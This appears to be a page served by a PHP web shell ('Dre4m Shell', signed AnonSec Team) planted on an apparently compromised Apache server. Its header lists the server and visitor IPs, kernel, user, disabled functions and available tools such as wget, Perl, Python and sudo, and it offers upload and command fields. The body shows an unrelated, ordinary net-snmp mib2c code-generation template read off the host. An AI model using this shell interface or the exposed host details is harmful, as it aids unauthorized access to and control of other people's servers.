Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.22.248.94
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/snmp/mib2c-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/snmp/mib2c-data/generic-table-indexes-from-oid.m2i
#############################################################  -*- c -*-
## generic include for XXX. Do not use directly.
##
########################################################################
@if $m2c_mark_boundary == 1@
/** START code generated by generic-table-indexes-from-oid.m2i */
@end@
########################################################################
##
/**
 * extract ${context} indexes from a netsnmp_index
 *
 * @retval SNMP_ERR_NOERROR  : no error
 * @retval SNMP_ERR_GENERR   : error
 */
int
${context}_index_from_oid(netsnmp_index *oid_idx,
                         ${context}_mib_index *mib_idx)
{
@include generic-table-indexes-varbind-setup.m2i@

    DEBUGMSGTL(("verbose:${context}:${context}_index_from_oid","called\n"));

    /*
     * parse the oid into the individual index components
     */
    err = parse_oid_indexes( oid_idx->oids, oid_idx->len,
                             &var_$m2c_dii_first );
    if (err == SNMP_ERR_NOERROR) {
        /*
         * copy out values
         */
@    eval $m2c_node_name = ""@ # purge node name to re-eval $m2c_node_var_name
@    foreach $node index@
@        eval $m2c_node_var_name = "var_${node}."@
@        include m2c_setup_node.m2i@
@        if $m2c_node_needlength == 1@
    /*
     * NOTE: val_len is in bytes, ${node}_len might not be
     */
         if(var_${node}.val_len > sizeof(mib_idx->$node))
             err = SNMP_ERR_GENERR;
         else {
             memcpy(mib_idx->${node}, var_${node}.val.string, var_${node}.val_len);
             mib_idx->${node}_len = var_${node}.val_len / sizeof(mib_idx->${node}[0]);
         }
@        else@
    mib_idx->$node = $m2c_node_var_val;
@        end@
@    end@ # foreach
@    eval $m2c_node_var_name = ""@ #reset custom name
@    eval $m2c_node_name = ""@ # purge node name to re-eval $m2c_node_var_name


    }

    /*
     * parsing may have allocated memory. free it.
     */
    snmp_reset_var_buffers( &var_$m2c_dii_first );

    return err;
} /* ${context}_index_from_oid */

##
########################################################################
@if $m2c_mark_boundary == 1@
/** END code generated by generic-table-indexes-from-oid.m2i */
@end@

Anon7 - 2022
AnonSec Team